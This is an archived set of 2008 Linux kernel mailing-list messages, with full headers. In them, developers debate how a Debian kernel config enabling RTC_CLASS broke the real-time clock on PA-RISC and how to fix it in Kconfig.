	id 20848542D5; Mon,  8 Sep 2008 18:37:04 +0200 (CEST)
Mail-Followup-To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <1220713586.3430.14.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:740 gmane.linux.debian.devel.kernel:41211 gmane.linux.debian.ports.hppa:5493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/740>

On Sat, Sep 06, 2008 at 10:06:26AM -0500, James Bottomley wrote:
> Parisc is a CONFIG_GEN_RTC architecture (we use the generic real time
> clock driver).

Well.

>                 Starting with 2.6.26, debian is now enabling
> CONFIG_RTC_CLASS (for platforms with specific RTC drivers) which
> disables CONFIG_GEN_RTC and means that hwclock (and ntp tracking) are
> broken on parisc with debian kernels 2.6.26 and above.

Yes. Most arches already needs it anyway.

> All of the arch/parisc/config files get this right, so someone at debian
> must have screwed up somehow.  The config option CONFIG_RTC_CLASS must
> be set to 'N' for all parisc systems.

Apparently hppa uses its special rtc type.  I propose that you take a
look at drivers/rtc/rtc-ppc.c and write a wrapper rtc module.

>                                        I'd suggest checking the debian
> kernel configs against the in-tree default files to see if there are any
> other cockups like this.

If there are, this are bugs in the kernel themself. I'm no hppa
developer so I won't waste my time with such.

Bastian

-- 
Those who hate and fight must stop themselves -- otherwise it is not stopped.
		-- Spock, "Day of the Dove", stardate unknown
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Mon, 08 Sep 2008 11:58:22 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <1220893102.8074.41.camel@localhost.localdomain>
References: <1220713586.3430.14.camel@localhost.localdomain>
	 <20080908163703.GA3218@wavehammer.waldi.eu.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220893120 2505 80.91.229.12 (8 Sep 2008 16:58:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 16:58:40 +0000 (UTC)
Cc: debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: Bastian Blank <waldi@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 08 18:59:35 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kck5K-0004Ic-ED
	for glpp-linux-parisc@gmane.org; Mon, 08 Sep 2008 18:59:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753282AbYIHQ61 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 12:58:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753256AbYIHQ61
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 12:58:27 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:40198 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753204AbYIHQ60 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 12:58:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 93E3F7F62;
	Mon,  8 Sep 2008 11:58:23 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Ln0qNW9IGFPD; Mon,  8 Sep 2008 11:58:22 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 118927F61;
	Mon,  8 Sep 2008 11:58:21 -0500 (CDT)
In-Reply-To: <20080908163703.GA3218@wavehammer.waldi.eu.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:741 gmane.linux.debian.devel.kernel:41212 gmane.linux.debian.ports.hppa:5494
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/741>

On Mon, 2008-09-08 at 18:37 +0200, Bastian Blank wrote:
> On Sat, Sep 06, 2008 at 10:06:26AM -0500, James Bottomley wrote:
> > Parisc is a CONFIG_GEN_RTC architecture (we use the generic real time
> > clock driver).
> 
> Well.
> 
> >                 Starting with 2.6.26, debian is now enabling
> > CONFIG_RTC_CLASS (for platforms with specific RTC drivers) which
> > disables CONFIG_GEN_RTC and means that hwclock (and ntp tracking) are
> > broken on parisc with debian kernels 2.6.26 and above.
> 
> Yes. Most arches already needs it anyway.
> 
> > All of the arch/parisc/config files get this right, so someone at debian
> > must have screwed up somehow.  The config option CONFIG_RTC_CLASS must
> > be set to 'N' for all parisc systems.
> 
> Apparently hppa uses its special rtc type.  I propose that you take a
> look at drivers/rtc/rtc-ppc.c and write a wrapper rtc module.

That may be the way forwards depending on what the RTC developers say,
but it certainly won't fix the 2.6.26 regression.

> >                                        I'd suggest checking the debian
> > kernel configs against the in-tree default files to see if there are any
> > other cockups like this.
> 
> If there are, this are bugs in the kernel themself. I'm no hppa
> developer so I won't waste my time with such.

Hardly, the bug is actually in the debian configs.  You have
CONFIG_RTC_CLASS as a generic override.  This is wrong, it needs to be
subordinate to CONIFG_GEN_RTC.  The quick fix would be to move the
CONFIG_RTC_CLASS sequence down from generic to the architectures ... if
you're incapable of doing that, I might be able to find time to look at
doing it for you.

The real bug looks to be the debian config system which relies on
concatenation ... what's really needed is a way of turning
CONFIG_RTC_CLASS off on parisc while keeping RTC_CLASS generic for those
architectures that need it.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Brownell <david-b@pacbell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 8 Sep 2008 11:19:44 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <200809081119.45074.david-b@pacbell.net>
References: <1220889205.8074.16.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220898398 23130 80.91.229.12 (8 Sep 2008 18:26:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 18:26:38 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 08 20:27:33 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KclST-0000M8-W3
	for glpp-linux-parisc@gmane.org; Mon, 08 Sep 2008 20:27:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752406AbYIHS01 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 14:26:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753078AbYIHS01
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 14:26:27 -0400
Original-Received: from smtp117.sbc.mail.sp1.yahoo.com ([69.147.64.90]:30789 "HELO
	smtp117.sbc.mail.sp1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1750887AbYIHS00 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 14:26:26 -0400
Original-Received: (qmail 37416 invoked from network); 8 Sep 2008 18:19:46 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=pacbell.net;
  h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:Cc:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id;
  b=0pg4BGntBi91B6DJZONd9TD9kPiM0DcND7WEpr0DHhNqRbu2hQ+yVkbJfX9Hi4vPStI7eRJBW9vQWj023luGb/E538ym1fNUKviBKoGVdXvblDoR9dvWe+aw2AmYjxgTy+bGEnIKecnG3fhnImKBj3me/zOWEWRoYN5Ct4yn+oE=  ;
Original-Received: from unknown (HELO pogo.local) (david-b@pacbell.net@69.226.231.171 with plain)
  by smtp117.sbc.mail.sp1.yahoo.com with SMTP; 8 Sep 2008 18:19:46 -0000
X-YMail-OSG: LbtDE3IVM1nCe8Ajhde1Uk1QaO4fmww9rb.gjMLXtp66.Z6sjxZvtf45qayPXvIcWSp8j1DIGIgVB58NIuQjtNmGPcOHQo4n77XiVD536DlIsVMHfNr6s66avmlSt6VCMUs-
X-Yahoo-Newman-Property: ymail-3
User-Agent: KMail/1.9.9
In-Reply-To: <1220889205.8074.16.camel@localhost.localdomain>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:742 gmane.linux.kernel:731189
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/742>

On Monday 08 September 2008, James Bottomley wrote:
> Put it back again by making RTC_CLASS 
> unselectable if the architecture is parisc.

Easier if those distros just wouldn't select RTC_CLASS then.  :)

And long term, better to work with RTC_CLASS.  Eliminate that
crufty asm-parisc/rtc.h file and one more GEN_RTC user; and
share more widely-used infrastructure.

If I read things right, that would be easy:  the PARISC RTC is
two firmware calls, ptc_tod_{read,set}(), which would map to
RTC class {read,set}_time() methods of about six lines each.
The RTC framework can do UIE emulation, if needed.

- Dave

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 13:39:49 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1220899189.8074.58.camel@localhost.localdomain>
References: <1220889205.8074.16.camel@localhost.localdomain>
	 <200809081119.45074.david-b@pacbell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220899228 26334 80.91.229.12 (8 Sep 2008 18:40:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 18:40:28 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: David Brownell <david-b@pacbell.net>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1754584AbYIHSkH@vger.kernel.org Mon Sep 08 20:41:23 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1754584AbYIHSkH@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kclfu-0004U3-3t
	for glk-linux-kernel-3@gmane.org; Mon, 08 Sep 2008 20:41:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754584AbYIHSkH (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 8 Sep 2008 14:40:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753365AbYIHSjw
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 8 Sep 2008 14:39:52 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:46640 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753078AbYIHSjv (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 8 Sep 2008 14:39:51 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id BD7F27FA2;
	Mon,  8 Sep 2008 13:39:49 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id vnEJRY6I0Fdh; Mon,  8 Sep 2008 13:39:48 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 356F97F61;
	Mon,  8 Sep 2008 13:39:48 -0500 (CDT)
In-Reply-To: <200809081119.45074.david-b@pacbell.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:731192 gmane.linux.ports.parisc:743
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/743>

On Mon, 2008-09-08 at 11:19 -0700, David Brownell wrote:
> On Monday 08 September 2008, James Bottomley wrote:
> > Put it back again by making RTC_CLASS 
> > unselectable if the architecture is parisc.
> 
> Easier if those distros just wouldn't select RTC_CLASS then.  :)

Yes, but think of distro config people rather like users ... if you can
prevent them from doing something stupid, it's a good idea.  In this
case, there's currently no way anyone should ever select RTC_CLASS on
parisc, so we should make that clear in the Kconfig file.

> And long term, better to work with RTC_CLASS.  Eliminate that
> crufty asm-parisc/rtc.h file and one more GEN_RTC user; and
> share more widely-used infrastructure.
> 
> If I read things right, that would be easy:  the PARISC RTC is
> two firmware calls, ptc_tod_{read,set}(), which would map to
> RTC class {read,set}_time() methods of about six lines each.
> The RTC framework can do UIE emulation, if needed.

OK, I can look at that, but in the mean time could we make the option
that causes the damage unselectable?  This is technically a regression
because before your patch GEN_RTC would override RTC_CLASS, now it's the
other way around.

James



From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Brownell <david-b@pacbell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 8 Sep 2008 12:13:37 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <200809081213.37705.david-b@pacbell.net>
References: <1220889205.8074.16.camel@localhost.localdomain> <200809081119.45074.david-b@pacbell.net> <1220899189.8074.58.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220901280 1730 80.91.229.12 (8 Sep 2008 19:14:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 19:14:40 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1755166AbYIHTNt@vger.kernel.org Mon Sep 08 21:15:34 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1755166AbYIHTNt@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcmCP-0006XI-Qg
	for glk-linux-kernel-3@gmane.org; Mon, 08 Sep 2008 21:14:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755166AbYIHTNt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 8 Sep 2008 15:13:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753045AbYIHTNk
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 8 Sep 2008 15:13:40 -0400
Original-Received: from smtp121.sbc.mail.sp1.yahoo.com ([69.147.64.94]:30594 "HELO
	smtp121.sbc.mail.sp1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1753005AbYIHTNk (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 8 Sep 2008 15:13:40 -0400
Original-Received: (qmail 10885 invoked from network); 8 Sep 2008 19:13:39 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=pacbell.net;
  h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:Cc:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id;
  b=mhMzQs+y6Qy4kjVhyP7NrAIlsRS9zC1Ax7EQa+PFXjIujJ0Ma5yiGHQD8iz6cQ5TNLjKKQlhAm5VC6IibFZf5/zdwYxTUJr8tNB9TTi0qgB185cCvfVMOqoabhAX7PFH5QJ0r64X0CcEEHbgpjz/l5PcA2dEDRx6+LC+ysRq7NI=  ;
Original-Received: from unknown (HELO pogo.local) (david-b@pacbell.net@69.226.231.171 with plain)
  by smtp121.sbc.mail.sp1.yahoo.com with SMTP; 8 Sep 2008 19:13:39 -0000
X-YMail-OSG: ABwjWCkVM1lmRe5mFGTpyNI99kuShUY4UmMVKwUxDMmKCvVqoaCmAiJPpKNoTM8RLSZrwsx0kWcO0NANwzkfYEDOixnJ12k69eu8QpT8nw--
X-Yahoo-Newman-Property: ymail-3
User-Agent: KMail/1.9.9
In-Reply-To: <1220899189.8074.58.camel@localhost.localdomain>
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:731208 gmane.linux.ports.parisc:744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/744>

On Monday 08 September 2008, James Bottomley wrote:
> On Mon, 2008-09-08 at 11:19 -0700, David Brownell wrote:
> > On Monday 08 September 2008, James Bottomley wrote:
> > > Put it back again by making RTC_CLASS 
> > > unselectable if the architecture is parisc.
> > 
> > Easier if those distros just wouldn't select RTC_CLASS then.  :)
> 
> Yes, but think of distro config people rather like users ... if you can
> prevent them from doing something stupid, it's a good idea.  In this
> case, there's currently no way anyone should ever select RTC_CLASS on
> parisc, so we should make that clear in the Kconfig file.

Preventing them from doing stupid stuff is exactly why we
have Kconfig prevent both legacy *AND* framework RTC code
from being selected.  :)

Of course stupidity is infinite, and we didn't know about
this particular instance in advance...


> > And long term, better to work with RTC_CLASS.  Eliminate that
> > crufty asm-parisc/rtc.h file and one more GEN_RTC user; and
> > share more widely-used infrastructure.
> > 
> > If I read things right, that would be easy:  the PARISC RTC is
> > two firmware calls, ptc_tod_{read,set}(), which would map to
> > RTC class {read,set}_time() methods of about six lines each.
> > The RTC framework can do UIE emulation, if needed.
> 
> OK, I can look at that, but in the mean time could we make the option
> that causes the damage unselectable?

I'd worry if "the mean time" takes too long.  But lacking a
PARISC laptop to fix this on, I'm unlikely to complain much.


>	 This is technically a regression 
> because before your patch GEN_RTC would override RTC_CLASS, now it's the
> other way around.

Well, previously there was no override ... I think you mean
that parisc just completely ignored RTC_CLASS, treating it
like junk DNA.

- Dave

From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 15:28:09 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <1220905689.8074.68.camel@localhost.localdomain>
References: <1220889205.8074.16.camel@localhost.localdomain>
	 <200809081119.45074.david-b@pacbell.net>
	 <1220899189.8074.58.camel@localhost.localdomain>
	 <200809081213.37705.david-b@pacbell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220905715 18568 80.91.229.12 (8 Sep 2008 20:28:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 20:28:35 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: David Brownell <david-b@pacbell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 08 22:29:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcnML-0004tr-4N
	for glpp-linux-parisc@gmane.org; Mon, 08 Sep 2008 22:29:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750820AbYIHU2O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 16:28:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752814AbYIHU2O
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 16:28:14 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:58237 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750820AbYIHU2N (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 16:28:13 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id EEF8A82C2;
	Mon,  8 Sep 2008 15:28:09 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZgyN8IuCZq3a; Mon,  8 Sep 2008 15:28:08 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id A1EE97F62;
	Mon,  8 Sep 2008 15:28:08 -0500 (CDT)
In-Reply-To: <200809081213.37705.david-b@pacbell.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:745 gmane.linux.kernel:731239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/745>

On Mon, 2008-09-08 at 12:13 -0700, David Brownell wrote:
> On Monday 08 September 2008, James Bottomley wrote:
> > On Mon, 2008-09-08 at 11:19 -0700, David Brownell wrote:
> > > On Monday 08 September 2008, James Bottomley wrote:
> > > > Put it back again by making RTC_CLASS 
> > > > unselectable if the architecture is parisc.
> > > 
> > > Easier if those distros just wouldn't select RTC_CLASS then.  :)
> > 
> > Yes, but think of distro config people rather like users ... if you can
> > prevent them from doing something stupid, it's a good idea.  In this
> > case, there's currently no way anyone should ever select RTC_CLASS on
> > parisc, so we should make that clear in the Kconfig file.
> 
> Preventing them from doing stupid stuff is exactly why we
> have Kconfig prevent both legacy *AND* framework RTC code
> from being selected.  :)
> 
> Of course stupidity is infinite, and we didn't know about
> this particular instance in advance...
> 
> 
> > > And long term, better to work with RTC_CLASS.  Eliminate that
> > > crufty asm-parisc/rtc.h file and one more GEN_RTC user; and
> > > share more widely-used infrastructure.
> > > 
> > > If I read things right, that would be easy:  the PARISC RTC is
> > > two firmware calls, ptc_tod_{read,set}(), which would map to
> > > RTC class {read,set}_time() methods of about six lines each.
> > > The RTC framework can do UIE emulation, if needed.
> > 
> > OK, I can look at that, but in the mean time could we make the option
> > that causes the damage unselectable?
> 
> I'd worry if "the mean time" takes too long.  But lacking a
> PARISC laptop to fix this on, I'm unlikely to complain much.

What is the expectation?  If you're expecting all the architectures to
migrate over to RTC_CLASS, actually telling linux-arch and saying why
its a good idea would have been helpful.

All the PDC real time clock calls can do are read and set, nothing else,
so it's idealy suited to the GEN_RTC infrastructure ... what's the
benefit in moving it to RTC_CLASS?

> >	 This is technically a regression 
> > because before your patch GEN_RTC would override RTC_CLASS, now it's the
> > other way around.
> 
> Well, previously there was no override ... I think you mean
> that parisc just completely ignored RTC_CLASS, treating it
> like junk DNA.

No, it's a regression.  You made it so when you added this

#
# These legacy RTC drivers just cause too many conflicts with the
generic
# RTC framework ... let's not even try to coexist any more.
#
if RTC_LIB=n

Around the GEN_RTC configuration.  This turns off the ability to select
GEN_RTC if you've said yes to RTC_CLASS.  Since RTC_CLASS is currently
unsupported on parisc, we need to fix that by making the RTC_CLASS
option unselectable on parisc.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: last git update of parisc-2.6.git failed again to merge???
Date: Mon, 08 Sep 2008 21:16:54 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <48C59646.3010507@scarlet.be>
References: <48C3C03E.2050405@scarlet.be> <20080907162501.GD20992@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220908631 31272 80.91.229.12 (8 Sep 2008 21:17:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 21:17:11 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 08 23:18:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kco7Z-0002fS-L1
	for glpp-linux-parisc@gmane.org; Mon, 08 Sep 2008 23:18:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751897AbYIHVRD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 17:17:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753958AbYIHVRB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 17:17:01 -0400
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:54404 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751897AbYIHVRB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
